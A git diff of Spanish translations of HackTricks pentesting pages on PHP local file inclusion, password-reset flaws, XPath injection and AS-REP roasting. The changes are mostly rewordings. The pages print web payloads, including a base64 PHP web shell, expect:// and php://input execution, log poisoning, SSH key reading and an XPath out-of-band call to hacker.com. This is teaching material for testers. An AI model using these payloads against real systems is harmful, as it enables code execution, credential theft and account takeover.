* Esto, combinado con lo anterior (y otros filtros dependiendo de la letra adivinada), nos permitirá adivinar una letra al principio del texto al ver cuándo hacemos suficientes transformaciones para que no sea un carácter hexadecimal. Porque si es hexadecimal, dechunk no lo eliminará y la bomba inicial hará que php falle.
* El códec **convert.iconv.UNICODE.CP930** transforma cada letra en la siguiente (así que después de este códec: a -> b). Esto nos permite descubrir si la primera letra es una `a`, por ejemplo, porque si aplicamos 6 de este códec a->b->c->d->e->f->g, la letra ya no es un carácter hexadecimal, por lo tanto, dechunk no la elimina y se desencadena el error de php porque se multiplica con la bomba inicial.
* Usando otras transformaciones como **rot13** al principio es posible filtrar otros caracteres como n, o, p, q, r (y se pueden usar otros códecs para mover otras letras al rango hex).
* Usando otras transformaciones como **rot13** al principio es posible filtrar otros caracteres como n, o, p, q, r (y se pueden usar otros códecs para mover otras letras al rango hexadecimal).
* Cuando el carácter inicial es un número, es necesario codificarlo en base64 y filtrar las 2 primeras letras para filtrar el número.
* El problema final es ver **cómo filtrar más que la letra inicial**. Al usar filtros de memoria ordenados como **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** es posible cambiar el orden de los caracteres y obtener en la primera posición otras letras del texto.
* El problema final es ver **cómo filtrar más que la letra inicial**. Al usar filtros de memoria de orden como **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** es posible cambiar el orden de los caracteres y obtener en la primera posición otras letras del texto.
* Y para poder obtener **más datos** la idea es **generar 2 bytes de datos basura al principio** con **convert.iconv.UTF16.UTF16**, aplicar **UCS-4LE** para hacer que **se pivotee con los siguientes 2 bytes**, y **eliminar los datos hasta los datos basura** (esto eliminará los primeros 2 bytes del texto inicial). Continuar haciendo esto hasta alcanzar el bit deseado para filtrar.
En la publicación también se filtró una herramienta para realizar esto automáticamente: [php\_filters\_chain\_oracle\_exploit](https://github.com/synacktiv/php\_filter\_chains\_oracle\_exploit).
@ -361,11 +361,11 @@ http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
```
Tenga en cuenta que este protocolo está restringido por las configuraciones de php **`allow_url_open`** y **`allow_url_include`**
Nota que este protocolo está restringido por las configuraciones de php **`allow_url_open`** y **`allow_url_include`**
### expect://
Expect debe estar activado. Puede ejecutar código usando esto:
Expect tiene que estar activado. Puedes ejecutar código usando esto:
```
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
@ -378,7 +378,7 @@ curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system
```
### phar://
Un archivo `.phar` puede ser utilizado para ejecutar código PHP cuando una aplicación web aprovecha funciones como `include` para la carga de archivos. El fragmento de código PHP proporcionado a continuación demuestra la creación de un archivo `.phar`:
Un archivo `.phar` puede ser utilizado para ejecutar código PHP cuando una aplicación web utiliza funciones como `include` para la carga de archivos. El fragmento de código PHP proporcionado a continuación demuestra la creación de un archivo `.phar`:
```php
<?php
$phar = new Phar('test.phar');
@ -393,7 +393,7 @@ php --define phar.readonly=0 create_path.php
```
Al ejecutar, se creará un archivo llamado `test.phar`, que podría aprovecharse para explotar vulnerabilidades de Inclusión de Archivos Locales (LFI).
En los casos en que el LFI solo realiza la lectura de archivos sin ejecutar el código PHP dentro, a través de funciones como `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, o `filesize()`, se podría intentar la explotación de una vulnerabilidad de deserialización. Esta vulnerabilidad está asociada con la lectura de archivos utilizando el protocolo `phar`.
En casos donde el LFI solo realiza la lectura de archivos sin ejecutar el código PHP dentro, a través de funciones como `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, o `filesize()`, se podría intentar la explotación de una vulnerabilidad de deserialización. Esta vulnerabilidad está asociada con la lectura de archivos utilizando el protocolo `phar`.
Para una comprensión detallada de la explotación de vulnerabilidades de deserialización en el contexto de archivos `.phar`, consulte el documento vinculado a continuación:
@ -424,7 +424,7 @@ Ver más posibles [**protocolos para incluir aquí**](https://www.php.net/manual
## LFI a través de 'assert' de PHP
Los riesgos de Inclusión de Archivos Locales (LFI) en PHP son notablemente altos al tratar con la función 'assert', que puede ejecutar código dentro de cadenas. Esto es particularmente problemático si la entrada que contiene caracteres de recorrido de directorios como ".." se está verificando pero no se está saneando adecuadamente.
Los riesgos de Inclusión de Archivos Locales (LFI) en PHP son notablemente altos al tratar con la función 'assert', que puede ejecutar código dentro de cadenas. Esto es particularmente problemático si la entrada que contiene caracteres de recorrido de directorios como ".." se está verificando pero no se sanitiza adecuadamente.
Por ejemplo, el código PHP podría estar diseñado para prevenir el recorrido de directorios de la siguiente manera:
```bash
@ -440,9 +440,9 @@ De manera similar, para ejecutar comandos del sistema arbitrarios, se podría us
```
Es importante **codificar en URL estas cargas útiles**.
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
¡Únete al servidor de [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de bugs!
¡Únete al servidor de [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de recompensas por errores!
**Perspectivas de Hacking**\
Participa en contenido que profundiza en la emoción y los desafíos del hacking
@ -451,7 +451,7 @@ Participa en contenido que profundiza en la emoción y los desafíos del hacking
Mantente al día con el mundo del hacking de ritmo rápido a través de noticias e información en tiempo real
**Últimos Anuncios**\
Mantente informado sobre las nuevas recompensas por bugs que se lanzan y actualizaciones cruciales de la plataforma
Mantente informado sobre las nuevas recompensas por errores que se lanzan y actualizaciones cruciales de la plataforma
**Únete a nosotros en** [**Discord**](https://discord.com/invite/N3FrSbmwdy) y comienza a colaborar con los mejores hackers hoy mismo!
@ -461,7 +461,7 @@ Mantente informado sobre las nuevas recompensas por bugs que se lanzan y actuali
Esta técnica es relevante en casos donde **controlas** la **ruta del archivo** de una **función PHP** que **accederá a un archivo** pero no verás el contenido del archivo (como una simple llamada a **`file()`**) pero el contenido no se muestra.
{% endhint %}
En [**esta increíble publicación**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) se explica cómo se puede abusar de un recorrido de ruta ciego a través de un filtro PHP para **exfiltrar el contenido de un archivo a través de un oráculo de errores**.
En [**esta increíble publicación**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) se explica cómo se puede abusar de un recorrido de ruta ciego a través de un filtro PHP para **exfiltrar el contenido de un archivo a través de un oráculo de error**.
En resumen, la técnica utiliza la **codificación "UCS-4LE"** para hacer que el contenido de un archivo sea tan **grande** que la **función PHP que abre** el archivo desencadene un **error**.
@ -479,7 +479,7 @@ Explicado anteriormente, [**sigue este enlace**](./#remote-file-inclusion).
### A través del archivo de registro de Apache/Nginx
Si el servidor Apache o Nginx es **vulnerable a LFI** dentro de la función de inclusión, podrías intentar acceder a **`/var/log/apache2/access.log` o `/var/log/nginx/access.log`**, estableciendo dentro del **agente de usuario** o dentro de un **parámetro GET** un shell PHP como **`<?php system($_GET['c']); ?>`** e incluir ese archivo.
Si el servidor Apache o Nginx es **vulnerable a LFI** dentro de la función de inclusión, podrías intentar acceder a **`/var/log/apache2/access.log` o `/var/log/nginx/access.log`**, estableciendo dentro del **agente de usuario** o dentro de un **parámetro GET** un shell PHP como **`<?php system($_GET['c']); ?>`** e incluir ese archivo
{% hint style="warning" %}
Ten en cuenta que **si usas comillas dobles** para el shell en lugar de **comillas simples**, las comillas dobles se modificarán para la cadena "_**quote;**_", **PHP lanzará un error** allí y **nada más se ejecutará**.
@ -552,18 +552,18 @@ Usa el LFI para incluir el archivo de sesión PHP
```
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
```
### Via ssh
### A través de ssh
Si ssh está activo, verifica qué usuario se está utilizando (/proc/self/status & /etc/passwd) y trata de acceder a **\<HOME>/.ssh/id\_rsa**
### **Via** **vsftpd** _**logs**_
### **A través de** **vsftpd** _**registros**_
Los registros del servidor FTP vsftpd se encuentran en _**/var/log/vsftpd.log**_. En el escenario donde existe una vulnerabilidad de Inclusión de Archivos Local (LFI), y es posible acceder a un servidor vsftpd expuesto, se pueden considerar los siguientes pasos:
1. Inyectar una carga útil de PHP en el campo de nombre de usuario durante el proceso de inicio de sesión.
2. Después de la inyección, utilizar el LFI para recuperar los registros del servidor de _**/var/log/vsftpd.log**_.
### Via php base64 filter (using base64)
### A través del filtro base64 de php (usando base64)
Como se muestra en [este](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) artículo, el filtro base64 de PHP simplemente ignora lo que no es base64. Puedes usar eso para eludir la verificación de la extensión del archivo: si proporcionas base64 que termina con ".php", simplemente ignorará el "." y añadirá "php" al base64. Aquí hay un ejemplo de carga útil:
```url
@ -573,7 +573,7 @@ NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
```
### A través de filtros php (no se necesita archivo)
Este [**escrito**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) explica que puedes usar **filtros php para generar contenido arbitrario** como salida. Lo que básicamente significa que puedes **generar código php arbitrario** para la inclusión **sin necesidad de escribirlo** en un archivo.
Este [**informe**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) explica que puedes usar **filtros php para generar contenido arbitrario** como salida. Lo que básicamente significa que puedes **generar código php arbitrario** para la inclusión **sin necesidad de escribirlo** en un archivo.
{% content-ref url="lfi2rce-via-php-filters.md" %}
[lfi2rce-via-php-filters.md](lfi2rce-via-php-filters.md)
@ -613,7 +613,7 @@ Si encontraste una **Inclusión de Archivos Locales** y el servidor está ejecut
### A través de `pearcmd.php` + argumentos de URL
Como [**se explica en esta publicación**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), el script `/usr/local/lib/phppearcmd.php` existe por defecto en imágenes docker de php. Además, es posible pasar argumentos al script a través de la URL porque se indica que si un parámetro de URL no tiene un `=`, debe ser utilizado como un argumento.
Como [**se explica en esta publicación**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), el script `/usr/local/lib/phppearcmd.php` existe por defecto en imágenes docker de php. Además, es posible pasar argumentos al script a través de la URL porque se indica que si un parámetro de URL no tiene un `=`, debe usarse como un argumento.
La siguiente solicitud crea un archivo en `/tmp/hello.php` con el contenido `<?=phpinfo()?>`:
@ -648,7 +648,7 @@ Si encontraste una **Local File Inclusion** y **puedes exfiltrar la ruta** del a
### A través de espera eterna + bruteforce
Si puedes abusar de la LFI para **subir archivos temporales** y hacer que el servidor **congele** la ejecución de PHP, podrías entonces **fuerza bruta los nombres de archivos durante horas** para encontrar el archivo temporal:
Si puedes abusar de la LFI para **subir archivos temporales** y hacer que el servidor **congele** la ejecución de PHP, podrías entonces **forzar nombres de archivos durante horas** para encontrar el archivo temporal:
{% content-ref url="lfi2rce-via-eternal-waiting.md" %}
[lfi2rce-via-eternal-waiting.md](lfi2rce-via-eternal-waiting.md)
@ -670,7 +670,7 @@ _Incluso si causas un Error Fatal de PHP, los archivos temporales subidos se eli
{% file src="../../.gitbook/assets/EN-Local-File-Inclusion-1.pdf" %}
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Únete al servidor de [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de bugs.

View file

@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
@ -30,17 +30,17 @@ Stay informed with the newest bug bounties launching and crucial platform update
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
## **Filtración del Token de Restablecimiento de Contraseña a Través del Referer**
## **Fuga de Token de Restablecimiento de Contraseña a Través del Referer**
* El encabezado HTTP referer puede filtrar el token de restablecimiento de contraseña si se incluye en la URL. Esto puede ocurrir cuando un usuario hace clic en un enlace de un sitio web de terceros después de solicitar un restablecimiento de contraseña.
* **Impacto**: Posible toma de control de la cuenta a través de ataques de Cross-Site Request Forgery (CSRF).
* **Impacto**: Toma de control potencial de la cuenta a través de ataques de Cross-Site Request Forgery (CSRF).
* **Explotación**: Para verificar si un token de restablecimiento de contraseña se está filtrando en el encabezado referer, **solicita un restablecimiento de contraseña** a tu dirección de correo electrónico y **haz clic en el enlace de restablecimiento** proporcionado. **No cambies tu contraseña** de inmediato. En su lugar, **navega a un sitio web de terceros** (como Facebook o Twitter) mientras **interceptas las solicitudes usando Burp Suite**. Inspecciona las solicitudes para ver si el **encabezado referer contiene el token de restablecimiento de contraseña**, ya que esto podría exponer información sensible a terceros.
* **Referencias**:
* [HackerOne Report 342693](https://hackerone.com/reports/342693)
* [HackerOne Report 272379](https://hackerone.com/reports/272379)
* [Artículo sobre la Filtración del Token de Restablecimiento de Contraseña](https://medium.com/@rubiojhayz1234/toyotas-password-reset-token-and-email-address-leak-via-referer-header-b0ede6507c6a)
* [Artículo sobre Fuga de Token de Restablecimiento de Contraseña](https://medium.com/@rubiojhayz1234/toyotas-password-reset-token-and-email-address-leak-via-referer-header-b0ede6507c6a)
## **Envenenamiento del Restablecimiento de Contraseña**
## **Envenenamiento de Restablecimiento de Contraseña**
* Los atacantes pueden manipular el encabezado Host durante las solicitudes de restablecimiento de contraseña para apuntar el enlace de restablecimiento a un sitio malicioso.
* **Impacto**: Conduce a una posible toma de control de la cuenta al filtrar tokens de restablecimiento a los atacantes.
@ -49,11 +49,11 @@ Stay informed with the newest bug bounties launching and crucial platform update
* Utiliza métodos seguros del lado del servidor para generar URLs absolutas.
* **Parche**: Usa `$_SERVER['SERVER_NAME']` para construir URLs de restablecimiento de contraseña en lugar de `$_SERVER['HTTP_HOST']`.
* **Referencias**:
* [Artículo de Acunetix sobre el Envenenamiento del Restablecimiento de Contraseña](https://www.acunetix.com/blog/articles/password-reset-poisoning/)
* [Artículo de Acunetix sobre Envenenamiento de Restablecimiento de Contraseña](https://www.acunetix.com/blog/articles/password-reset-poisoning/)
## **Restablecimiento de Contraseña Manipulando el Parámetro de Correo Electrónico**
Los atacantes pueden manipular la solicitud de restablecimiento de contraseña añadiendo parámetros de correo electrónico adicionales para desviar el enlace de restablecimiento.
Los atacantes pueden manipular la solicitud de restablecimiento de contraseña agregando parámetros de correo electrónico adicionales para desviar el enlace de restablecimiento.
* Agrega el correo electrónico del atacante como segundo parámetro usando &
```php
@ -91,7 +91,7 @@ POST /resetPassword
[...]
email="victim@mail.tld",email="attacker@mail.tld"
```
* Agregar el correo electrónico del atacante como segundo parámetro en el arreglo json
* Agregar el correo electrónico del atacante como segundo parámetro en el array json
```php
POST /resetPassword
[...]
@ -161,7 +161,7 @@ POST /api/changepass
* Implementar verificaciones del lado del servidor para asegurar la integridad de la respuesta.
* Usar canales de comunicación seguros como HTTPS para prevenir ataques de hombre en el medio.
* **Referencia**:
* [Error Crítico en Evento de Recompensa por Errores en Vivo](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3)
* [Error Crítico en Evento de Recompensa de Errores en Vivo](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3)
## **Uso de Token Expirado**
@ -171,7 +171,7 @@ POST /api/changepass
## **Fuerza Bruta del Token de Restablecimiento de Contraseña**
* Intentar forzar el token de restablecimiento usando herramientas como Burpsuite e IP-Rotator para eludir límites de tasa basados en IP.
* Intentar forzar el token de restablecimiento usando herramientas como Burpsuite y IP-Rotator para eludir límites de tasa basados en IP.
* **Pasos de Mitigación**:
* Implementar mecanismos robustos de limitación de tasa y bloqueo de cuentas.
* Monitorear actividades sospechosas indicativas de ataques de fuerza bruta.
@ -198,9 +198,9 @@ POST /api/changepass
* [https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token](https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token)
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
¡Únete al servidor de [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de recompensas por errores!
¡Únete al servidor de [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de recompensas de errores!
**Perspectivas de Hacking**\
Involúcrate con contenido que profundiza en la emoción y los desafíos del hacking
@ -209,7 +209,7 @@ Involúcrate con contenido que profundiza en la emoción y los desafíos del hac
Mantente al día con el mundo del hacking de ritmo rápido a través de noticias e información en tiempo real
**Últimos Anuncios**\
Mantente informado sobre las nuevas recompensas por errores que se lanzan y actualizaciones cruciales de la plataforma
Mantente informado sobre las nuevas recompensas de errores que se lanzan y actualizaciones cruciales de la plataforma
**Únete a nosotros en** [**Discord**](https://discord.com/invite/N3FrSbmwdy) y comienza a colaborar con los mejores hackers hoy mismo!
@ -223,7 +223,7 @@ Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" d
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
{% endhint %}

View file

@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
@ -50,7 +50,7 @@ Las expresiones se utilizan para seleccionar varios nodos en un documento XML. E
Ejemplos de expresiones de ruta y sus resultados incluyen:
* **bookstore**: Se seleccionan todos los nodos llamados "bookstore".
* **/bookstore**: Se selecciona el elemento raíz bookstore. Se observa que una ruta absoluta a un elemento se representa por una ruta que comienza con una barra (/).
* **/bookstore**: Se selecciona el elemento raíz bookstore. Se observa que una ruta absoluta a un elemento se representa mediante una ruta que comienza con una barra (/).
* **bookstore/book**: Se seleccionan todos los elementos book que son hijos de bookstore.
* **//book**: Se seleccionan todos los elementos book en el documento, independientemente de su ubicación.
* **bookstore//book**: Se seleccionan todos los elementos book que son descendientes del elemento bookstore, sin importar su posición bajo el elemento bookstore.
@ -190,7 +190,7 @@ Username: ' or 1]%00
```
### **Doble OR en el nombre de usuario o en la contraseña** (es válido con solo 1 campo vulnerable)
IMPORTANTE: Tenga en cuenta que **"y" es la primera operación realizada**.
IMPORTANTE: Tenga en cuenta que la **"y" es la primera operación realizada**.
```
Bypass with first match
(This requests are also valid without spaces)
@ -294,12 +294,12 @@ doc-available(concat("http://hacker.com/oob/", RESULTS))
* [https://wiki.owasp.org/index.php/Testing\_for\_XPath\_Injection\_(OTG-INPVAL-010)](https://wiki.owasp.org/index.php/Testing\_for\_XPath\_Injection\_\(OTG-INPVAL-010\))
* [https://www.w3schools.com/xml/xpath\_syntax.asp](https://www.w3schools.com/xml/xpath\_syntax.asp)
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
¡Únete al servidor de [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de recompensas por errores!
**Perspectivas de Hacking**\
Interactúa con contenido que profundiza en la emoción y los desafíos del hacking
Participa en contenido que profundiza en la emoción y los desafíos del hacking
**Noticias de Hackeo en Tiempo Real**\
Mantente al día con el mundo del hacking de ritmo rápido a través de noticias e información en tiempo real

View file

@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
@ -115,7 +115,7 @@ ASRepCatcher listen
***
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
¡Únete al servidor de [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de bugs!